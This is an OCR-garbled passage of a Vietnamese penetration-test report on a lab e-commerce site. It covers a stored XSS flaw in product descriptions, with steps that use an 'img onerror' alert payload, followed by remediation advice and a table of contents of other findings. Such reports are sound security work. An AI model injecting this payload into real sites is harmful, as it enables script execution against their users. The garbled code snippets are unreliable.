Hang triéu san phdm chinh hang ti cac nha ban uy tin. Trai

(O —doe < Yt PO e e e MNPy N BN PN .y IS ey o S [

Step 2: Thém san pham vao trong clia hang véi trudng description la payload XSS

XimiPlace D Seller Center & Vécitahang
Seller Center

Quan ly ° q \ :
San pham + Thém san pham

98 Téng quan Quan ly san phdm cla cifa hang ban

® San phdm

© Bon hang B6 loc san phém

@ Ctahang Tif khoa Danh muc Trang thdi

Q Tim theo tén... Tat ca v Tat ca v

Payload dudc st dung la:

<img src=x onerror='alert(l)'>

Tuong tu nhu 16i bdo mat XSS xPE-01-002 da dudc giai thich & trén thi day cling la tag <img> Vi
src la mét dudng dan khéng hgp Li nén khi nd dudgc load [&n sé tu déng chay
onerror="alert(1) dan dén hién thi popup & phia trinh duyét client-side



Thém san pham

SKU Slug Trang thai *

AccountA AccountA Pang bdn

Tén san pham *

AccountA

M6 ta

<img src=x onerror="alert(1)'>

Gia * Gia khuyén mai Tén kho * Size
10000 0 4 default

Danh muc * URL énh

Cong Nghé https://...

« 2 ~ .

Step 3: Tim kiém lai san pham viia dudc tao va bam vao xem chi tiét

XimiPlace D Seller Center ————p ¢ Véciahang
Seller Center
Quan ly . A .
’ San pham + Thém san phém
98 T6ng quan Quan ly san pham cua ctia hang ban
® San phém

nghiém mua sdm hién dai, sach va nhanh chi véi XimiPlace.

Q. Accountd| Tim kiém




San pham noi bat

Lua chon ctia hang nghin ngudi mua méi tudn

AccountA

10.000 d

#r 0.0 (0} AccountA

Cc 4\ Not secure  ximiplace.exam.cyberjutsu-lab.tech

ximiplace.exam.cyberjutsu-lab.tech says

1

Két qua: Ta thay popup alert dugc da dudc thuc thi & phia trinh duyét, chiing td html injection da
dugc lam thanh cdng va dan dén XSS (chay javascript & phia client-side)

2.8.5 Remediation
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Ung dung can loai bo viéc render trudng mo ta san pham bang HTML sink nhu
dangerouslySetInnerHTML khid{ liéu dén ti ngudi dung hoic seller.

V4i trudng product .description, cach an toan nhat [ render dudi dang text thong thudng dé
React tu dong escape ndi dung:

<div className="prose prose-sm max-w-none rounded-2x1 border border-border/60 bg-card p-
6 whitespace-pre-line">

{product. ‘ tion}
</div>

Khéng nén render truc tiép nhu sau:

<div
dangerouslySetInnerHTML={{
__html: product. ripti

1
/=

Néu Ung dung that su can ho trg dinh dang HTML trong mé ta san pham, frontend phai sanitize
ndi dung trudc khi truyén vao dangerouslySetInnerHTNL . CS thé sif dung thu vién dang tin cay
nhu DOMPurify va cau hinh allowlist tag/attribute ré rang:

import DOMPurify from "dompurify";

const safeDescription = DOMPurify.sanitize(product.descrij n, {
ALLOWED_TAGS: [npn, "br", "strong”, "em", "ul", "ol", nlin],
ALLOWED_ATTR: []

IBF

<div
className="prose prose-sm max-w-none rounded-2x1 border border-border/60 bg-card p-6"
dangerouslySetInnerHTML={{
__html: safeDescription

H
/>

Tuy nhién, néu mé ta san pham khéng bat budc phai hd trg HTML, nén render dudi dang text
thay vi cho phép HTML.

G phia backend, nén b8 sung validation ho3c sanitizer cho trudng description khi seller tao
ho&c cap nhat san pham. Vi du, néu hé thdng chi can mé ta dang van ban, backend nén tir chéi
ho&c loai bd HTML tag va JavaScript event handler trudc khi luu vao database. Néu can hé trg
rich text, backend can ap dung allowlist HTML tag/attribute an toan thay vi cho phép HTML tuy .

Ngoai ra, frontend khdng nén luu token & noi JavaScript cé thé doc dugc néu khdng can thiét.
Access token nén dugc luu trong cookie co thudc tinh HttpOnly, Secure va SameSite phu hgp
dé giam tac dong khi xay ra XSS.



Ung dung cling nén bs sung Content Security Policy dé giam kha nang khai thac XSS, vi du han
ché inline script va chi cho phép script tit cAc ngudn tin cdy. Tuy nhién, CSP chi [4 [8p phong thi
bd sung, khéng thay thé cho viéc x{ ly output encoding/sanitization ding cach.

Sau khi khac phuc, can bé sung test case dé dam bao:

Payload HTML/JavaScript trong description chi dugc hién thi dudi dang text va khéng
dugc thuc thi.

Cac payload nhu <img src=x onerror=alert(document.domain)> khdng kich hoat
JavaScript trén trang Product Detail.

Né&u rich text dudc ho trg, chi cdc HTML tag nam trong allowlist méi dudc render.

Cac JavaScript event handler nhu onerror, onload, onclick biloai bo.

Trang chi tiét sdn pham van hién thi md t& hdp & sau khi 4p dung cd ché sanitize hoac text

rendering.

Tém lai, hudng khac phuc chinh la khéng render dit liéu seller-controlled bang
dangerouslySetInnerHTNL . NEu bat budc phai render HTML, can sanitize bang allowlist nghiém
ngat trudc khi dua di liéu vao DOM.



	1. Tổng quan
	2. Lỗ hổng
	2.1 XPE-01-001: Insecure Direct Object Reference (IDOR) at /api/v1/orders/{id}/download
	2.1.1 Description and Impact
	2.1.2 Root Cause
	2.1.3 Steps to reproduce
	2.1.4 Remediation

	2.2 XPE-01-002: Stored XSS in Shipping Address Section in Order Detail Page
	2.2.1 Description and Impact
	2.2.2 Root Cause
	2.2.3 Steps to reproduce
	2.2.4 Impact Validation: Admin Session Theft
	2.2.5 Remediation

	2.3 XPE-01-003: Exposure of Internal Documentation and Configuration Files
	2.3.1 Description and Impact
	2.3.2 Root Cause
	2.3.3 Steps to reproduce
	2.3.4 Remediation

	2.4 XPE-01-004: Server-Side Request Forgery (SSRF) via Store Logo URL Fetching and Public Upload Storage
	2.4.1 Description and Impact
	2.4.2 Root Cause
	2.4.3 Preconditions
	2.4.4 Steps to reproduce
	2.4.5 Remediation

	2.5 XPE-01-005: Second-order SQL Injection (SQLI) in /api/v1/seller/product-filters/{id}/products
	2.5.1 Description and Impact
	2.5.2 Root Cause
	2.5.3 Preconditions
	2.5.4 Steps to reproduce
	2.5.5 Remediation

	2.6 XPE-01-006: Insecure Java Deserialization at /api/v1/checkout
	2.6.1 Description and Impact
	2.6.2 Root Cause
	2.6.3 Preconditions
	2.6.4 Steps to reproduce
	2.6.5 Remediation

	2.7 XPE-01-007: Exploit Chain from Stored XSS to Remote Code Execution
	2.7.1 Tổng quan chuỗi khai thác
	2.7.2 Luồng tấn công tuyến tính
	2.7.3 Bảng tóm tắt chuỗi khai thác
	2.7.4 Tác động cuối cùng

	2.8 XPE-01-008: Stored XSS in Product Description Section of Product Detail Page
	2.8.1 Description and Impact
	2.8.2 Root Cause
	2.8.3 Preconditions
	2.8.4 Steps to reproduce
	2.8.5 Remediation



